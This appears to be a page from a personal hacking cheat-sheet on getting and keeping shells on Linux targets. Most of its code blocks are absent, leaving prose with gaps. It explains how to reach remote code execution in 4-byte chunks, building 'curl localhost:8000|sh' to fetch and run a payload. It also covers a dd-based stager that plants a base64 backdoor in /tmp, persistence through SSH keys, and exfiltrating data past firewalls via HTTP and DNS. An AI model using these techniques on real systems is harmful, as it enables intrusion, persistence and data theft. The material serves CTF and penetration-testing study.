Shells
Specific tricks to get a shell for hacking Linux-based boxes
Reverse Shells
If you find a filter or have weird/short input, try simply downloading and then executing in two separate commands:
With very limited communication available, you can try a few things:
RCE in 4 bytes
Sometimes you're limited in the length of the commands you can execute. There is a technique in bash to execute commands and save things to files, and eventually execute arbitrary code by just sending multiple 4-byte commands. The technique was a solution to a challenge by Orange Tsai.
The idea goes like this. Using file redirection with >
you can save files with a name. Then we can slowly build out some letters to form a different command, and we can combine the letters using dir
. This command just lists the current directory and places them all after each other separated by spaces. Using the *
wildcard all files in the current directory will be inserted but in alphabetical order. This makes it quite hard to do much right now:
The v
file now contains g> ht- sl
. Reversed this would be ls -th >g
, which allows us to list the files ordered by time. This way we don't have the restriction to have the command be in alphabetical order.
Now x
contains the desired ls -th >g
which we can execute whenever we want. Now that the final file will be ordered by time, we can just write out the full payload character by character. Later we will create a file that has all of these separated by a newline, so we need to add a \
at the end to escape the newline. Let's make curl localhost:8000|sh;
for example:
In an actual attack, you would send only one \
at the end, but here in the interactive bash, we need to escape it ourselves. Executing the ls -th
command we made earlier now, it gives us the desired command with backslashes to escape the newlines:
Finally, we can execute the x
script to do the above command into a file called g
. Then we can run the g script to actually run the payload that fetches a script from the localhost:8000
address, of course, this can be any site of your own to host a malicious payload on.
To automatically run any payload you want, I made the following Python script to showcase the attack and create any payload:
Restricted charset + no HTTP/DNS (dd-shell)
For very restricted scenarios where you are able to inject one command without any special characters, and you are not able to fetch a payload using curl or wget. The only required characters for this technique are: [a-zA-Z0-9/= ]
. Only the slash, equals and space should be allowed, and this trick will allow you to run an arbitrarily complex payload on any Unix environment (even docker/alpine).
Note that all comments are only for clarification, and should be removed in your exploit.
In this payload, we heavily abuse the dd
command to read and write at specific locations. We also make use of the /proc
filesystem, first by reading from /proc/self/cmdline
to get the current command, in which we hide a string inside a duplicate of=
parameter (eg. "base64"). We read 6 bytes into the /tmp/1
file on which we build further. We also use the static /proc/net/dev
file that always starts with the same table header, allowing us to write some special characters like -
, |
and
(not included in cmdline
).
With this, we write a simple stager for base64 -d /tmp/2|sh
so that we can write a longer payload inside of /tmp/2
. We use this to write a backdoor inside /tmp/s
that will execute any base64 argument it takes, and can be abused to get past the restricted charset.
Background Shells
When you have code execution, a problem you might find when connecting to a Reverse Shell is that it exits after some time, when the process is killed. This can be annoying as you only have a few seconds to execute commands interactively.
One solution would be to add some persistence method instead of connecting to a reverse shell, allowing you access at any time. This can be done by appending to ~/.ssh/authorized_keys
or leaking ~/.ssh/id_rsa
if SSH is enabled, and there are many more backdoors you can create such as webshells. These techniques depend on the target, however, so they won't always work.
Another way that might be preferable is running your Reverse Shell in a background process that doesn't exit. Commands like screen
or tmux
can start such a session if they are available, or you can use nohup
which ignores the hangup (HUP) signal, and can run together with the &
:
Data Exfiltration
When executing commands, the main goal is to read its output to reach further into the system or to leak sensitive data. While it may sound simple, in some cases, this is made harder due to protections such as firewalling. You won't receive your reverse shell if a system prevents outgoing TCP connections to random ports like :1337
. Therefore, we need to get a little more clever sometimes.
HTTP(S)
Some firewalls prevent random unknown ports but allow ports like 80 or 443 for HTTP and HTTPS traffic. Sometimes this is as simple as changing the port of your shell to either of these ports, but in other cases, the firewall will also check if a real HTTP request is being made.
To quickly test if HTTP(S) or DNS traffic is allowed, try using interactsh-client
to quickly get a public subdomain where all interactions will be logged:
After confirming that, for example, HTTPS traffic is allowed, you can wrap your TCP connection over SSL which is indistinguishable from real HTTP traffic. For a clean shell, tools like reverse_ssh implement this nicely with many extra features like alternative protocols.
For quick and dirty exfiltration via HTTP, services like requestbin.com or webhook.site offer a UI and a subdomain to make requests to, and you can quickly see all HTTP interactions with potentially exfiltrated data via the URL, or large data via the body:
DNS
Like before, interactsh-client
can be used to confirm interaction with a wildcard subdomain. As it allows anything before the given subdomain, you can exfiltrate small amounts of data with it:
This should result in a few DNS lookups with the target's username as the prefix:
For a clean shell, there exist tools that implement the above and a better technique for downloading data using TXT records. It should be noted, however, that such a shell will be very slow and hard to use as this way of communicating is very unorthodox. Poor man's Reverse DNS Shell
Read from stored location
The server you are exploiting is almost always directly accessible to you, so if it cannot connect to the outside, it must still be able to respond to your requests. We can abuse this by storing the output data at an accessible place like /static/output.txt
, and then reading this data by accessing the path.
Another similar idea is doing the same for SQL data, imagine you have a blind SQL injection with stacked queries (you are able to INSERT/UPDATE). In this case, you can insert/update the data you want to exfiltrate to another place that you can read, like your users description or a comment.
Privilege Escalation
Often in privilege escalation, you're letting a high-privilege user execute some command. Sometimes you can't directly execute a shell as that user and have to run some other command to send a way to get a shell somewhere. One simple way is to just execute a reverse shell as that user. Then you will get a privileged reverse shell in your listener. See Reverse Shells for some examples of this.
Warning: While this shell allows filesystem access as root
, it won't perfectly with with all commands as your main user is still user
, we only raised their privileges. You can solve this by getting a clean shell with techniques like root /etc/passwd.
Last updated